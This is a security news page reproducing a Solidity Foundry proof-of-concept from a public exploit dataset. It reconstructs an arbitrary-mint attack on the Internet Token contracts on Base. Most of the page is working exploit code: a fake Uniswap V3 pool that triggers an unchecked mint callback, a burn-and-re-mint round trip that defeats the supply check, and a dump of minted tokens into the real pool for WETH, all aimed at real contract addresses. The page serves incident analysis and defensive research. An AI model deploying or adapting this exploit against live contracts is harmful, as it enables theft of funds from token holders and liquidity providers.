Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/InternetToken_exp.sol

Public reproduction file for dataset entry InternetToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/InternetToken_exp.sol264 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.16;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Internet Token (INT) - permissionless arbitrary-mint via a fake Uniswap V3 pool. Base, 2026-09.
8//
9// Attack tx : 0xed62bb27bd1058d3d7cc93d55421d6d0001ced8cb4529b02773f5126a4edb08b
10// Block : 51593878 (fork at parent 51593877)
11// Attacker : EOA 0x5F7cE6395818857aC20730dc990F614356D1Ec68 deploys a throwaway contract; the
12// whole attack runs inside that contract's CONSTRUCTOR (the tx `to` is empty, and the
13// receipt reports a contractAddress -> contract-creation tx, confirmed from the trace).
14//
15// Contracts (verified source pulled from Basescan, chainid 8453):
16// RewardToken (INT) : 0x968D6A288d7B024D5012c0B25d67A889E4E3eC19
17// LiquidityUnifier : 0x837DBAbc4f5FA78BAF177597edbDa09645822032 (holds INT minter role)
18// Convertor : 0x6b82fDFC0344Bd76d5Cb58BC24D0FfE947975516 (INT <-> bridged token)
19// OptimismMintableERC20 : 0x1D34e08120dbD1Ea9BDBcD90C2dC919b50Ddff4C (the "transferrable" leg)
20// Real INT/WETH Uniswap V3 : 0xDEc6EadbD8eD3F655CBA4Bb4eeFF6fB43B16969d (token0=WETH, token1=INT)
21// WETH : 0x4200000000000000000000000000000000000006
22//
23// ROOT CAUSE (confirmed line-by-line against the deployed verified source, not just the alert):
24//
25// 1. LiquidityUnifier.swapV3(address token, address pool) is PERMISSIONLESS (no role/onlyRole).
26// Its only validation is:
27// _validatePool(pool) -> pool != 0, pool.code.length != 0, !_excludedPools.contains(pool)
28// _validatePoolV3Tokens(..) -> pool.token0()/token1() must equal {rewardToken, token} in
29// either order.
30// There is NO Uniswap factory / pool-registry check anywhere. Both conditions are trivially
31// satisfied by a minimal attacker-deployed contract that returns the right token0()/token1()
32// and is not on the exclusion list.
33//
34// 2. swapV3 then sets `currentPoolV3 = pool` and calls `IUniswapV3Pool(pool).swap(...)`. Because
35// `pool` is the attacker's fake pool, that call lands in attacker code.
36//
37// 3. The fake pool re-enters LiquidityUnifier.uniswapV3SwapCallback(amount0Delta, amount1Delta, _).
38// That callback's ONLY guard is `msg.sender == currentPoolV3`. currentPoolV3 IS the fake pool
39// (set in step 2), so the guard passes, and the callback runs:
40// RewardToken(rewardToken).mint(_currentPoolV3, amount.toUint256());
41// where amount = (amount0Delta > 0 ? amount0Delta : amount1Delta) is supplied by the fake pool.
42// => arbitrary INT minted, to the fake pool, in an attacker-chosen amount.
43//
44// 4. The one supply guard is the `validateSupply` modifier on swapV3: it records
45// totalSupply() before the body and reverts if totalSupply() is larger after. This is defeated
46// by routing the freshly minted INT through the project's Convertor DURING the fake pool's
47// swap() callback (i.e. still inside swapV3, before the post-check):
48// Convertor.convert(INT, X) -> mintableToken.burn(caller, X); transferrableToken.transfer(caller, X)
49// Burning the X INT restores totalSupply() to its original value, so the post-`_` check sees no
50// increase. After swapV3 returns (outside the modifier) the attacker converts back:
51// Convertor.convert(OTHER, X) -> transferrableToken.transferFrom(caller,this,X); mintableToken.mint(caller, X)
52// re-minting the X INT with the supply guard no longer in scope. Net: X new INT, guard bypassed.
53//
54// Verified the three specific claims the alert asked to confirm:
55// * swapV3 pool validation is code-existence + exclusion-list + token0()/token1() only, no
56// factory/registry check (LiquidityUnifier.sol _validatePool / _validatePoolV3Tokens).
57// * uniswapV3SwapCallback trusts msg.sender == currentPoolV3 with currentPoolV3 attacker-set.
58// * validateSupply is beaten by the Convertor round-trip (burn INT mid-call, re-mint after),
59// not by any other mechanism. Convertor.convert branches on `from`: burn INT / send OTHER, or
60// pull OTHER / mint INT (verified in Convertor.sol).
61//
62// On-chain figures (decoded from the receipt Transfer logs, all match the alert):
63// minted X = 925,411,678.379023100 INT (callback mint)
64// dumped into pool = 161,265,976.195260020 INT -> 5.846988019325688 WETH
65// kept by attacker = 764,145,702.183763080 INT (X - dumped)
66//
67// This PoC is a from-scratch reconstruction: a named InternetTokenExploit contract deploys a minimal
68// FakePool, and every protocol interaction is a real typed call into the live verified contracts
69// (swapV3, uniswapV3SwapCallback, Convertor.convert, and a real swap on the actual INT/WETH V3 pool).
70// No bytecode blob, no raw calldata replay, no settled-state shortcut.
72interface ILiquidityUnifier {
73 function swapV3(address token, address pool) external;
74 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;
77interface IConvertor {
78 // from == INT (mintable) -> burns INT from caller, sends OTHER to caller
79 // from == OTHER (transferrable) -> pulls OTHER from caller, mints INT to caller
80 function convert(address from, uint256 amount) external;
83interface IUniswapV3Pool {
84 function swap(
85 address recipient,
86 bool zeroForOne,
87 int256 amountSpecified,
88 uint160 sqrtPriceLimitX96,
89 bytes calldata data
90 ) external returns (int256 amount0, int256 amount1);
93// Minimal fake "pool": returns token0()/token1() so LiquidityUnifier's validation passes, and its
94// swap() re-enters the unifier's callback to trigger the arbitrary mint. The same contract also
95// implements uniswapV3SwapCallback so it can pay INT into the REAL INT/WETH pool for the profit leg.
96contract FakePool {
97 address internal immutable INT;
98 address internal immutable OTHER;
99 address internal immutable WETH;
100 ILiquidityUnifier internal immutable UNIFIER;
101 IConvertor internal immutable CONVERTOR;
102 IUniswapV3Pool internal immutable REAL_POOL;
103 address internal immutable OWNER;
105 uint256 internal mintAmount;
107 // sqrt price limit for a token1->token0 sell (zeroForOne == false) on the real pool.
108 uint160 internal constant MAX_SQRT_RATIO_MINUS_ONE = 1461446703485210103287273052203988822378723970342 - 1;
110 constructor(
111 address _int,
112 address _other,
113 address _weth,
114 ILiquidityUnifier _unifier,
115 IConvertor _convertor,
116 IUniswapV3Pool _realPool
117 ) {
118 INT = _int;
119 OTHER = _other;
120 WETH = _weth;
121 UNIFIER = _unifier;
122 CONVERTOR = _convertor;
123 REAL_POOL = _realPool;
124 OWNER = msg.sender;
125 }
127 // ---- fake Uniswap V3 pool surface used by LiquidityUnifier's validation ----
128 function token0() external view returns (address) {
129 return INT; // == rewardToken
130 }
132 function token1() external view returns (address) {
133 return OTHER; // == the `token` argument passed to swapV3
134 }
136 // Called by LiquidityUnifier inside swapV3. We ignore the passed args and instead drive the
137 // unifier's own callback with the mint amount WE choose, then neutralize the supply increase by
138 // converting the freshly minted INT into OTHER (burns INT -> restores totalSupply) before swapV3
139 // finishes and its validateSupply post-check runs.
140 function swap(
141 address, /* recipient */
142 bool, /* zeroForOne */
143 int256, /* amountSpecified */
144 uint160, /* sqrtPriceLimitX96 */
145 bytes calldata /* data */
146 ) external returns (int256, int256) {
147 require(msg.sender == address(UNIFIER), "only unifier");
149 // trigger arbitrary mint of `mintAmount` INT to this contract (currentPoolV3 == this)
150 UNIFIER.uniswapV3SwapCallback(int256(mintAmount), int256(mintAmount), "");
152 // burn the INT back out via the Convertor so supply is restored before validateSupply checks
153 CONVERTOR.convert(INT, mintAmount);
155 return (0, 0);
156 }
158 // Called by the REAL INT/WETH V3 pool during the profit swap: pay the INT we owe.
159 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {
160 require(msg.sender == address(REAL_POOL), "only real pool");
161 // token1 == INT, so selling INT for WETH makes amount1Delta the positive amount owed.
162 if (amount1Delta > 0) {
163 IERC20(INT).transfer(msg.sender, uint256(amount1Delta));
164 }
165 if (amount0Delta > 0) {
166 IERC20(WETH).transfer(msg.sender, uint256(amount0Delta));
167 }
168 }
170 function run(uint256 _mintAmount, uint256 dumpAmount) external {
171 require(msg.sender == OWNER, "only owner");
172 mintAmount = _mintAmount;
174 // Convertor pulls OTHER from us on the way back; INT burn on the way out needs no approval.
175 IERC20(INT).approve(address(CONVERTOR), type(uint256).max);
176 IERC20(OTHER).approve(address(CONVERTOR), type(uint256).max);
178 // 1) permissionless swapV3 against our fake pool -> arbitrary mint + supply-neutralizing burn
179 // (token = OTHER so _validatePoolV3Tokens sees {INT, OTHER} and passes)
180 UNIFIER.swapV3(OTHER, address(this));
182 // 2) re-mint the INT now that validateSupply is out of scope: OTHER -> INT
183 CONVERTOR.convert(OTHER, mintAmount);
185 // 3) realize WETH by dumping part of the minted INT into the real INT/WETH pool
186 // zeroForOne = false (token1 INT -> token0 WETH), exact input = dumpAmount
187 REAL_POOL.swap(address(this), false, int256(dumpAmount), MAX_SQRT_RATIO_MINUS_ONE, "");
189 // 4) forward the loot to the owner (attacker) contract
190 uint256 wethBal = IERC20(WETH).balanceOf(address(this));
191 if (wethBal > 0) IERC20(WETH).transfer(OWNER, wethBal);
192 uint256 intBal = IERC20(INT).balanceOf(address(this));
193 if (intBal > 0) IERC20(INT).transfer(OWNER, intBal);
194 }
197// The attacker contract. Mirrors the real tx: the whole exploit runs from a single deployment, in
198// the constructor, with no attacker capital and no privileged role.
199contract InternetTokenExploit {
200 constructor(
201 address int_,
202 address other,
203 address weth,
204 ILiquidityUnifier unifier,
205 IConvertor convertor,
206 IUniswapV3Pool realPool,
207 address recipient,
208 uint256 mintAmount,
209 uint256 dumpAmount
210 ) {
211 FakePool fake = new FakePool(int_, other, weth, unifier, convertor, realPool);
212 fake.run(mintAmount, dumpAmount);
214 // hand profits from this contract to the profit sink the test tracks
215 uint256 wethBal = IERC20(weth).balanceOf(address(this));
216 if (wethBal > 0) IERC20(weth).transfer(recipient, wethBal);
217 uint256 intBal = IERC20(int_).balanceOf(address(this));
218 if (intBal > 0) IERC20(int_).transfer(recipient, intBal);
219 }
222contract InternetTokenExploitTest is BaseTestWithBalanceLog {
223 address constant INT = 0x968D6A288d7B024D5012c0B25d67A889E4E3eC19;
224 address constant OTHER = 0x1D34e08120dbD1Ea9BDBcD90C2dC919b50Ddff4C;
225 address constant WETH = 0x4200000000000000000000000000000000000006;
226 ILiquidityUnifier constant UNIFIER = ILiquidityUnifier(0x837DBAbc4f5FA78BAF177597edbDa09645822032);
227 IConvertor constant CONVERTOR = IConvertor(0x6b82fDFC0344Bd76d5Cb58BC24D0FfE947975516);
228 IUniswapV3Pool constant REAL_POOL = IUniswapV3Pool(0xDEc6EadbD8eD3F655CBA4Bb4eeFF6fB43B16969d);
230 // Attacker-chosen mint size and dump size, exactly as decoded from the on-chain receipt logs.
231 uint256 constant MINT_AMOUNT = 0x02fd7b8b9b6ae2957e395f97; // 925,411,678.379023100 INT
232 uint256 constant DUMP_AMOUNT = 0x856566164204289e81c00a; // 161,265,976.195260020 INT
234 function setUp() public {
235 vm.createSelectFork("base", 51_593_877); // parent of the exploit block
236 multiAssetLog = true;
237 fundingTokens.push(WETH);
238 fundingTokens.push(INT);
239 }
241 function testExploit() public balanceLog {
242 address recipient = address(this); // profit sink; balanceLog tracks it
244 assertEq(IERC20(WETH).balanceOf(recipient), 0, "recipient should start with 0 WETH");
245 assertEq(IERC20(INT).balanceOf(recipient), 0, "recipient should start with 0 INT");
247 // One deployment, zero attacker capital, no signatures, no privileged role.
248 new InternetTokenExploit(
249 INT, OTHER, WETH, UNIFIER, CONVERTOR, REAL_POOL, recipient, MINT_AMOUNT, DUMP_AMOUNT
250 );
252 uint256 wethGained = IERC20(WETH).balanceOf(recipient);
253 uint256 intGained = IERC20(INT).balanceOf(recipient);
255 emit log_named_decimal_uint("WETH profit realized", wethGained, 18);
256 emit log_named_decimal_uint("INT retained by attacker", intGained, 18);
258 // ~5.85 WETH realized from dumping ~161.3M of the minted INT
259 assertApproxEqRel(wethGained, 5.846988019325688e18, 0.01e18, "WETH profit off from on-chain ~5.85");
260 // ~764.1M INT kept (minted 925.4M minus 161.3M dumped)
261 assertEq(intGained, MINT_AMOUNT - DUMP_AMOUNT, "retained INT != minted - dumped");
262 assertApproxEqRel(intGained, 764_145_702.18376308e18, 0.01e18, "retained INT off from on-chain ~764.1M");
263 }

Analysis

Dataset entry

Public Foundry test for “InternetToken” (2026-09-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5f7ce6395818857ac20730dc990f614356d1ec68

  • Attack Tx

    0xed62bb27bd1058d3d7cc93d55421d6d0001ced8cb4529b02773f5126a4edb08b

File record

Name
InternetToken
Path
src/test/2026-09/InternetToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a1b940d6ed9e56343c95c03949ae061778ca98c1
Language
Solidity
Size
265 lines
Date
2026-09-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/InternetToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a1b940d6ed9e56343c95c03949ae061778ca98c1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.